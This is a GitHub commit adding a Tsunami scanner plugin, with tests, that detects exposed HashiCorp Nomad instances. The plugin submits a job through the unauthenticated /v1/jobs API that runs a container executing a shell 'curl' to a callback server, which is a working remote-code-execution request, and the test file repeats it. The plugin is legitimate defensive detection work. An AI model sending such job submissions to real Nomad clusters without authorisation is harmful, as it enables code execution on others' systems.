Skip to content

Commit 204cd65

Browse files
Merge pull request #694 from am0o0:hashicorp_nomad_RCE
PiperOrigin-RevId: 880870264 Change-Id: Ia3a74a3b8cc5298deee564353ee7b5a931023ec7
2 parents 54da89f + 0988bc4 commit 204cd65

2 files changed

Lines changed: 208 additions & 0 deletions

File tree

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "HashicorpNomad_ExposedUI"
11+
author: "Am0o0"
12+
version: "0.1"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "HASHICORPNOMAD_EXPOSED_UI"
19+
}
20+
title: "Exposed Hashicorp Nomad instance"
21+
description: "Hashicorp Nomad instance is exposed and can be used to execute arbitrary code. Confirmed by starting a docker container and running `curl` to fetch the callback server URI. "
22+
recommendation:
23+
"Configure authentication or ensure the Hashicorp Nomad instance is not exposed "
24+
"to the network. See "
25+
"https://developer.hashicorp.com/nomad/install for details."
26+
severity: CRITICAL
27+
}
28+
29+
###########
30+
# ACTIONS #
31+
###########
32+
33+
actions: {
34+
name: "hashicorpnomad_exposed_ui_fingerprint"
35+
http_request: {
36+
method: GET
37+
uri: "/ui/"
38+
response: {
39+
http_status: 200
40+
expect_all: {
41+
conditions: { body {} contains: 'Copyright (c) HashiCorp, Inc.' }
42+
conditions: { body {} contains: '<title>Nomad</title>' }
43+
}
44+
}
45+
}
46+
}
47+
48+
actions: {
49+
name: "create_tsunami_job"
50+
http_request: {
51+
method: POST
52+
uri: "/v1/jobs"
53+
headers: [
54+
{ name: "Content-Type" value: "application/json; charset=utf-8" }
55+
]
56+
data: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}}'
57+
response: {
58+
http_status: 200
59+
expect_all: {
60+
conditions: { body {} contains: '"EvalCreateIndex"' }
61+
conditions: { body {} contains: '"EvalID"' }
62+
conditions: { body {} contains: '"Index"' }
63+
conditions: { body {} contains: '"JobModifyIndex"' }
64+
}
65+
}
66+
}
67+
cleanup_actions: "cleanup_tsunami_job"
68+
}
69+
70+
actions: {
71+
name: "sleep"
72+
utility: { sleep: { duration_ms: 3000 } }
73+
}
74+
75+
actions: {
76+
name: "check_callback_server_logs"
77+
callback_server: { action_type: CHECK }
78+
}
79+
80+
actions: {
81+
name: "cleanup_tsunami_job"
82+
http_request: {
83+
headers: [
84+
{ name: "Content-Type" value: "application/json; charset=utf-8" }
85+
]
86+
method: DELETE
87+
uri: "/v1/job/tsunami-job?purge=true"
88+
response: {
89+
http_status: 200
90+
}
91+
}
92+
}
93+
#############
94+
# WORKFLOWS #
95+
#############
96+
workflows: {
97+
actions: [
98+
"hashicorpnomad_exposed_ui_fingerprint",
99+
"create_tsunami_job",
100+
"sleep",
101+
"check_callback_server_logs"
102+
]
103+
}
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "HashicorpNomad_ExposedUI"
6+
}
7+
8+
tests: {
9+
name: "whenVulnerable_returnsVuln"
10+
expect_vulnerability: true
11+
12+
mock_callback_server: {
13+
enabled: true
14+
has_interaction: true
15+
}
16+
mock_http_server: {
17+
mock_responses: [
18+
{
19+
uri: "/ui/"
20+
status: 200
21+
body_content:
22+
'Copyright (c) HashiCorp, Inc.'
23+
'<title>Nomad</title>'
24+
},
25+
{
26+
uri: "/v1/jobs"
27+
status: 200
28+
body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}'
29+
condition: {
30+
body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}'
31+
headers: [
32+
{ name: "Content-Type" value: "application/json; charset=utf-8" }
33+
]
34+
},
35+
},
36+
{
37+
uri: "/v1/job/tsunami-job?purge=true"
38+
status: 200
39+
condition: {
40+
headers: [
41+
{ name: "Content-Type" value: "application/json; charset=utf-8" }
42+
]
43+
}
44+
}
45+
]
46+
}
47+
}
48+
49+
50+
tests: {
51+
name: "whenNotNomad_returnsNoVuln"
52+
expect_vulnerability: false
53+
54+
mock_http_server: {
55+
mock_responses: [
56+
{
57+
uri: "/ui/"
58+
status: 400
59+
body_content: "..."
60+
}
61+
]
62+
}
63+
}
64+
65+
tests: {
66+
name: "whenNoCallback_returnsFalse"
67+
expect_vulnerability: false
68+
69+
mock_callback_server: {
70+
enabled: true
71+
has_interaction: false
72+
}
73+
74+
mock_http_server: {
75+
mock_responses: [
76+
{
77+
uri: "/ui/"
78+
status: 200
79+
body_content:
80+
'Copyright (c) HashiCorp, Inc.'
81+
'<title>Nomad</title>'
82+
},
83+
{
84+
uri: "/v1/jobs"
85+
status: 200
86+
body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}'
87+
condition: {
88+
body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}}'
89+
headers: [
90+
{ name: "Content-Type" value: "application/json; charset=utf-8" }
91+
]
92+
}
93+
},
94+
{
95+
uri: "/v1/job/tsunami-job?purge=true"
96+
status: 200
97+
condition: {
98+
headers: [
99+
{ name: "Content-Type" value: "application/json; charset=utf-8" }
100+
]
101+
}
102+
}
103+
]
104+
}
105+
}

0 commit comments

Comments
 (0)